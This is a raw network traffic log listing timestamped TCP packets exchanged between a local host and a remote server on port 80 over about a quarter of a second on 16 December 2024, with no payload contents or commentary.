Dec 16, 2024 10:38:16.921037912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.921133041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.921176910 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.921911001 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.922034979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.922079086 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.922688961 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.922734976 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.922774076 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.922815084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.923890114 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.923902035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.923943996 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.924648046 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.924710989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.924758911 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.925206900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.925308943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.925358057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.926054955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.926100969 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.926168919 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.926214933 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.926918983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.926995993 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.927045107 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.927108049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.927742958 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.927788019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.927855015 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.927905083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.928623915 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.928670883 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.928757906 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.928802013 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.929452896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.929497957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.929548979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.929596901 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.930296898 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.930351019 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.930399895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.931157112 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.931216955 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.931231976 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.931272030 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.931979895 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.932027102 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.932086945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.932133913 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.932851076 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.932895899 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.932925940 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.932970047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.933670998 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.933717012 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.933790922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.933839083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.934519053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.934606075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.934652090 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.935369015 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.935415983 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.935416937 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.935456991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.936372042 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.936417103 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.936419964 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.936455011 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.937182903 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.937242031 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.937257051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.937295914 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.938020945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.938152075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.938199997 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.938755989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.938803911 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.938889980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.938937902 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.939609051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.939657927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.939690113 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.939729929 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.940443993 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.940506935 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.940532923 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.940577984 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.941293001 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.941339970 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.941400051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.941447020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.942173004 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.942375898 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.942423105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.943013906 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.943059921 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.943093061 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.943139076 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.943837881 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.943896055 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.943934917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.943977118 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.944696903 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.944753885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.944811106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.944852114 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.945539951 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.945594072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.945631027 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.945671082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.946372986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.946425915 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.946465969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.946505070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.947223902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.947294950 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.947339058 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.947387934 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.948100090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.948147058 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.948170900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.948219061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.948940992 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.948987961 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.949018955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.949093103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.949748993 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.949794054 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.949923038 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.950598001 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.950650930 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.950671911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.950711966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.951452017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.951498985 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.951565027 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.951611042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.952303886 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.952356100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.952397108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.952440977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:16.953113079 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:16.953157902 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.100874901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.100903034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.101037979 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.101171970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.101218939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.101253986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.101293087 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.102031946 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.102356911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.102420092 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.102449894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.102530956 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.103178024 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.103322029 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.103372097 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.104010105 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.104080915 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.104125977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.104166031 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.104866982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.104918003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.104962111 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.105004072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.105695963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.105747938 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.105788946 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.105825901 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.106534958 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.106657982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.106708050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.107444048 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.107489109 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.107554913 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.107594967 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.108345032 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.108390093 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.108438969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.108479977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.109241009 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.109255075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.109299898 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.109926939 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.109971046 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.110065937 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.110101938 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.110766888 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.110809088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.110884905 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.110924006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.111624956 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.111665964 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.111737967 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.111773968 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.112485886 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.112571955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.112631083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.113353014 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.113406897 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.113450050 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.113490105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.114168882 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.114249945 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.114300013 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.114334106 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.115045071 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.115099907 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.115144014 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.115189075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.115865946 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.115927935 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.115967035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.116004944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.116708040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.116746902 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.116822004 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.116863012 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.117552042 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.117671013 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.117711067 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.117734909 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.118417025 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.118510962 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.118583918 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.119287968 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.119328976 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.119370937 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.119410038 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.120134115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.120172024 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.120204926 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.120242119 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.120986938 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.121032000 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.121061087 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.121098042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.121793985 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.121952057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.121993065 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.122631073 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.122668982 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.122725964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.122762918 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.123481035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.123522043 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.123564005 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.123603106 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.124314070 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.124378920 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.124428034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.124465942 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.125160933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.125201941 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.125300884 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.125339985 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.125994921 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.126117945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.126157045 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.126885891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.126925945 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.127019882 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.127058029 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.127691031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.127729893 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.127814054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.127968073 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.128551960 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.128592014 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.128700018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.128747940 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.129403114 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.129439116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.129532099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.129570007 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.130253077 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.130342960 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.130444050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.131223917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.131264925 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.131303072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.131342888 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.131958008 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.131994963 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.132066011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.132102966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.132767916 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.132806063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.132889986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.132929087 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.133668900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.133754015 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.133795977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.134593010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.134629965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.134637117 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.134675980 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.135318995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.135360003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.135410070 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.135446072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.136176109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.136214972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.136311054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.136343002 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.137044907 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.137084007 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.137125015 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.137161970 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.137877941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.137978077 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.138029099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.138694048 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.138732910 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.138874054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.138922930 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.139605045 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.139645100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.139687061 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.139731884 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.140695095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.140737057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.140885115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.140923023 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.141501904 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.141647100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.141674042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.141695023 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.142285109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.142389059 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.142441988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.143131018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.143177986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.143234968 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.143280983 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.143996000 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.144046068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.144067049 CET	80	49896	185.215.113.206	192.168.2.9
